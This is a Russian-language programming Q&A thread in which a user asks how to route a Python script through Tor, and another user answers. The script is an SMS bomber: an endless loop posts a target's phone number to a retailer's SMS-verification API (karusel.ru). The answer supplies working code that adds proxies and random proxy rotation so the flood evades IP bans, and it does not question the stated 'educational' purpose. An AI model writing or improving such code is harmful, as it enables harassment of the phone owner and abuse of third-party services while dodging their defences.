Как использовать tor-прокси в питоне?

Хочу написать скрипт для обращения к сайтам с разной информацией на питоне, но чтобы айпи не банили хочу сделать тор прокси.

Код будет выглядеть примерно так:

import requests

phone = input('Введите номер на который придет СМС (7xxxxxxxxxx---->')

phone9 = phone[1:]

while True:
    try:
        requests.post('https://app.karusel.ru/api/v1/phone/', 
                      data={'phone': phone}, headers={})
        print('[+] Karusel отправлено!')
    except:
        print('[-] Не отправлено!')
# и тд

Это только в учебных целях


Ответы (1 шт):

Автор решения: mrgervant

Именно с Tor не работал, но сама по себе библиотека requests имеет возможность указывать прокси для запросов:

import requests

phone = input('Введите номер на который придет СМС (7xxxxxxxxxx---->')
phone9 = phone[1:]

proxies = {
      'http': 'http://10.10.1.10:3128',
      'https': 'http://10.10.1.10:1080',
    }

while True:
    try:
        requests.post('https://app.karusel.ru/api/v1/phone/', 
                      data={'phone': phone},
                      headers={}, 
                      proxies=proxies)
        print('[+] Karusel отправлено!')
    except:
        print('[-] Не отправлено!')

Если же требуется из нескольких доступных прокси выбирать случайный для каждого из post-запросов, то код дополняется методами random:

import requests
import random

phone = input('Введите номер на который придет СМС (7xxxxxxxxxx---->')
phone9 = phone[1:]

ip_addresses = [
    "http://mysuperproxy.com:5000", 
    "http://mysuperproxy.com:5001", 
    ... и т.д.]

while True:
    try:
        proxy = random.randint(0, len(ip_addresses) - 1)
        proxies = {"http": ip_addresses[proxy], "https": ip_addresses[proxy]}
        requests.post('https://app.karusel.ru/api/v1/phone/', 
                      data={'phone': phone},
                      headers={}, 
                      proxies=proxies)
        print('[+] Karusel отправлено!')
    except:
        print('[-] Не отправлено!')
→ Ссылка